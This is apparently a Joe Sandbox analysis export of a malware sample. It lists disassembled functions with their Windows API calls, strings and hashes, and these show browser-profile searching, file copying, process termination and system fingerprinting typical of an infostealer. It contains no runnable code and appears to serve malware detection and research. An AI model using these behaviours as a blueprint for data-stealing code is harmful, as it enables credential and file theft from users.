Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 780f5d4a84c50e8ab2f554c699b202a56bf3eaf7d4713dd72010fd50ff5fac83
Instruction ID: afe9154d87561e44b40a5f34f36ef9de1d4551a554540275b4814901c8e15a89
Opcode Fuzzy Hash: 780f5d4a84c50e8ab2f554c699b202a56bf3eaf7d4713dd72010fd50ff5fac83
Instruction Fuzzy Hash: 92310AB1D02228ABDB14EB91DCA5FEEB77AAF68300F40519EE20566190DF746B48CF54

Function 004168D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416903

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 004169C6
ExitProcess.KERNEL32 ref: 004169F5

Strings

<, xrefs: 00416979

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 80adf956ea99f7686bf73ed2305a0c7c355c3d8c509fc3f8e2274e2124ba97dc
Instruction ID: 69e214fcc2f82cbe4d830bf51364f862e1744f727ac50a07542482e63681b1c7
Opcode Fuzzy Hash: 80adf956ea99f7686bf73ed2305a0c7c355c3d8c509fc3f8e2274e2124ba97dc
Instruction Fuzzy Hash: 82313AB1902218ABDB14EB91DC92FDEB779AF08314F40418EF20566191DF787B88CF69

Function 004152A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004152DA
lstrcatA.KERNEL32(?,007E6BD0), ref: 004152F8

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Strings

j~, xrefs: 00415305
9dA, xrefs: 0041531F, 00415344, 00415322

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: 9dA$j~
API String ID: 2699682494-1153911068
Opcode ID: 5bb350bcbed3125f7e12a5500a4acbcaef6b2422d52e2d389edcc53ab9aa0019
Instruction ID: 7a1763d3762e4bc1164bf129b3bea8c613207f41675935a6caeb9cdf66552cef
Opcode Fuzzy Hash: 5bb350bcbed3125f7e12a5500a4acbcaef6b2422d52e2d389edcc53ab9aa0019
Instruction Fuzzy Hash: 4E01D6B6E0520867CB14FB71EC53EDE733D9B54305F00419EB64996091EE78ABC8CBA5

Function 00418EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
wsprintfW.USER32 ref: 00418F08

Strings

%hs, xrefs: 00418EFF

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction ID: abe7276d6e58fd7f286e9bcc6e4dd5022fdd169b0d4b331efbe0e5b16b2cc016
Opcode Fuzzy Hash: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction Fuzzy Hash: 47E08C70E49308BBDB00DB94ED0AF6D77B8EB44302F000196FD0987340EA719F008B96

Function 00413E2B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

P2Mw, xrefs: 00413EB7
q?A, xrefs: 00413ED2

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: P2Mw$q?A
API String ID: 3840410801-3567967373
Opcode ID: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction ID: 435e47d99a68a60cc5746cb21b8f71e50488397b794716e085ba6dfc691b5c27
Opcode Fuzzy Hash: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction Fuzzy Hash: B3D05B7190411D5BCB10EF64DD489EA7378EB55705F0041CAF40E97150FB349F858F55

Function 0250F33E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0250F405
___AdjustPointer.LIBCMT ref: 0250F428
___AdjustPointer.LIBCMT ref: 0250F4C4

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction ID: 723e650e9fd3fbd614d4749d9c6e8f5315dbede5cf00512a5ad03ec709944f8e
Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction Fuzzy Hash: 5F51CD72600702AFEB389F54DDC0BBA7BA6FF84714F14852DED4546AD0DB35A881CB98

Function 0040F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421678,00420D93), ref: 0040F64C
lstrlenA.KERNEL32(00000000), ref: 0040F66B

Strings

moz-extension+++, xrefs: 0040F6AD
^userContextId=4294967295, xrefs: 0040F69C

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 0aa1eed2c38d7c4f76bd3edf7e78024004a64e08f4b31be38fa15b277636acd6
Instruction ID: 3808d15f7e0f9f9184562117c9aa29465858450d569164ac2a98ea8b538c64df
Opcode Fuzzy Hash: 0aa1eed2c38d7c4f76bd3edf7e78024004a64e08f4b31be38fa15b277636acd6
Instruction Fuzzy Hash: 42517E72E011089BCB04FBA1ECA6DED7339AF54304F40852EF50667195EF386A5CCB6A

Function 024A5067 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 024A91D7: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 024A9202

lstrcat.KERNEL32(?,00000000), ref: 024A50A1
lstrcat.KERNEL32(?,x_~), ref: 024A50BF

Part of subcall function 024A4DC7: wsprintfA.USER32 ref: 024A4DE3
Part of subcall function 024A4DC7: FindFirstFileA.KERNEL32(?,?), ref: 024A4DFA

Part of subcall function 024A4DC7: StrCmpCA.SHLWAPI(?,00420FC4), ref: 024A4E28
Part of subcall function 024A4DC7: StrCmpCA.SHLWAPI(?,00420FC8), ref: 024A4E3E
Part of subcall function 024A4DC7: FindNextFileA.KERNEL32(000000FF,?), ref: 024A5034
Part of subcall function 024A4DC7: FindClose.KERNEL32(000000FF), ref: 024A5049

Part of subcall function 024A4DC7: wsprintfA.USER32 ref: 024A4E67
Part of subcall function 024A4DC7: StrCmpCA.SHLWAPI(?,004208D3), ref: 024A4E7C
Part of subcall function 024A4DC7: wsprintfA.USER32 ref: 024A4E99
Part of subcall function 024A4DC7: PathMatchSpecA.SHLWAPI(?,?), ref: 024A4ED5
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,006D6F24), ref: 024A4F01
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,00420FE0), ref: 024A4F13
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,?), ref: 024A4F27
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,00420FE4), ref: 024A4F39
Part of subcall function 024A4DC7: lstrcat.KERNEL32(?,?), ref: 024A4F4D
Part of subcall function 024A4DC7: CopyFileA.KERNEL32(?,?,00000001), ref: 024A4F63
Part of subcall function 024A4DC7: DeleteFileA.KERNEL32(?), ref: 024A4FE8

Part of subcall function 024A4DC7: wsprintfA.USER32 ref: 024A4EBE

Strings

x_~, xrefs: 024A50B2, 024A50B7
pk~, xrefs: 024A50CC, 024A50D1

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: pk~$x_~
API String ID: 2104210347-2868490819
Opcode ID: 921b7243465f5cc22632e556addfdbc9e2b232d918fae283b3c7a6cfaabfd5d4
Instruction ID: 0eb220aaf97980a5cc82ec1ccc3951f95f98d77ce902f8f9b63151f2525b6f86
Opcode Fuzzy Hash: 921b7243465f5cc22632e556addfdbc9e2b232d918fae283b3c7a6cfaabfd5d4
Instruction Fuzzy Hash: 6241B6B7A001046BDB54FBB4EC51EEE337BAF99300F40864EF54996290ED755A888FA1

Function 024A98C7 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 024A98E2

Part of subcall function 024A9147: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,024A9915,00000000), ref: 024A9152
Part of subcall function 024A9147: RtlAllocateHeap.NTDLL(00000000), ref: 024A9159
Part of subcall function 024A9147: wsprintfW.USER32 ref: 024A916F

OpenProcess.KERNEL32(00001001,00000000,?), ref: 024A99A2
TerminateProcess.KERNEL32(00000000,00000000), ref: 024A99C0
CloseHandle.KERNEL32(00000000), ref: 024A99CD

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 4dd47c962113320da772e9fd3d5ef9085dc50e719928fc1b4404ad0ba2226614
Instruction ID: e28a6b2770907ed9479b3f76f4d6e903ebd4ed0a64a416affef6e9d7fff48e24
Opcode Fuzzy Hash: 4dd47c962113320da772e9fd3d5ef9085dc50e719928fc1b4404ad0ba2226614
Instruction Fuzzy Hash: D9315AB1E01248EFDB14DFE0CD58BEDB779FB58300F10455AE506AA284EB746A48CF52

Function 00419660 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041967B

Part of subcall function 00418EE0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
Part of subcall function 00418EE0: HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
Part of subcall function 00418EE0: wsprintfW.USER32 ref: 00418F08

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041973B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419759
CloseHandle.KERNEL32(00000000), ref: 00419766

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction ID: 560ccd148ccd609fdd46163d5cc95655726043f4ba77f136f2594cdeec1b1660
Opcode Fuzzy Hash: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction Fuzzy Hash: C4315BB1E01208DBDB14DFE0DD49BEDB779BF44700F10445AF506AB284EB786A88CB56

Function 024A8A77 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 024A8AC1
Process32First.KERNEL32(?,00000128), ref: 024A8AD5
Process32Next.KERNEL32(?,00000128), ref: 024A8AEA

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

CloseHandle.KERNEL32(?), ref: 024A8B58

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 25991fec1edfc484e0ac6d238269bf31d59a6f809c3b303f04a25542f2153d22
Instruction ID: a10712d4e56ccd5c3db10d287266c8646348504b93833dfb15f1538d3f72071b
Opcode Fuzzy Hash: 25991fec1edfc484e0ac6d238269bf31d59a6f809c3b303f04a25542f2153d22
Instruction Fuzzy Hash: B73151B1942268ABCB28DF51DC54FEEB779FB54705F10459EE10AA61A0DB306F44CF90

Function 024ADC46 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 024ADCAD
GetStringTypeW.KERNEL32(?,?,00000000,?,?,00000000), ref: 024ADCD0
__freea.LIBCMT ref: 024ADCDA

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: StringType__freeamemset
String ID:
API String ID: 3702041549-0
Opcode ID: eb92efd9ac2598119fe224cffa8c48323091038c2a65d63395673fb924a81232
Instruction ID: 023076068d2143043b9c6d9f8d0698c5cbf177fcee906b967996e6e94da7c918
Opcode Fuzzy Hash: eb92efd9ac2598119fe224cffa8c48323091038c2a65d63395673fb924a81232
Instruction Fuzzy Hash: C711E671A00249FFEF116F65CCA0AAF3B6AFF24354F940027EA05D6690D7B4C8509B60

Function 0041D9DF Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041DA46
GetStringTypeW.KERNEL32(?,?,00000000,?,?,00000000), ref: 0041DA69
__freea.LIBCMT ref: 0041DA73

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: StringType__freeamemset
String ID:
API String ID: 3702041549-0
Opcode ID: 2a04cb9b88ad5106c8bdc43d3fdf96577ea0a1a4d5236897ea01fcfca5837503
Instruction ID: bdaef13a50f55a1e5bb62bd55a3cc58a4ba93b897fc92a064a906a046bd303b9
Opcode Fuzzy Hash: 2a04cb9b88ad5106c8bdc43d3fdf96577ea0a1a4d5236897ea01fcfca5837503
Instruction Fuzzy Hash: 0411D3B2A04246BFDF119FA5DD819EF3B6AEF04394F140027F914D6291D738CCE58668

Function 00418950 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
wsprintfA.USER32 ref: 004189E0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

%dx%d, xrefs: 004189D7

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction ID: ec511e81278765dc739de052021e02f912fcc6e2b9c8bb96b49730fbd7d6010e
Opcode Fuzzy Hash: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction Fuzzy Hash: 8B217FB1E45214AFDB00DFD4DC45FAEBBB9FB48710F10411AFA05A7280D779A900CBA5

Function 0250F25E Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0250F27A
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0250F293

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction ID: d30a200b80be8b294d1ec85065f7c94f6bd5b3be388807ab0b7b9b2257f4e569
Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction Fuzzy Hash: 5701FC36208B23DFF6343B74ACC5F5A2A55FB457B4B30832AE515814E0EF91884049CC

Function 024A1C57 Relevance: 6.1, APIs: 4, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00420DA8), ref: 024A1C7C
ExitProcess.KERNEL32 ref: 024A1C88
strtok_s.MSVCRT ref: 024A1C9F

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID:
API String ID: 3407564107-0
Opcode ID: bbbcb8835864335667ee073c6e85149c6edd079fa0b75eecad9fe8ddf8d51a3e
Instruction ID: f56a26736568abe3b7a69c77ecfa65c2a39858acf6edc2360309a3a771df7a67
Opcode Fuzzy Hash: bbbcb8835864335667ee073c6e85149c6edd079fa0b75eecad9fe8ddf8d51a3e
Instruction Fuzzy Hash: C9115870D00209EFCB04DFA5D954AEEBB79FF54308F0080AAE90AA6251E7706B44CF65

Function 024A7E27 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,U~,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 024A7E5A
RtlAllocateHeap.NTDLL(00000000), ref: 024A7E61
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,U~,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 024A7E74
wsprintfA.USER32 ref: 024A7EAE

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction ID: 5ceeb07d8511c2af04a99b9d39865a7ecc1cc5cf4c8a1cc9297bc6fffe15c17b
Opcode Fuzzy Hash: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction Fuzzy Hash: E1118EB1E06228EBEB208B54DC45FAABB78FB05711F104396F619A72C0D7745A408B55

Function 024A3AD0 Relevance: 6.0, APIs: 4, Instructions: 45stringCOMMON

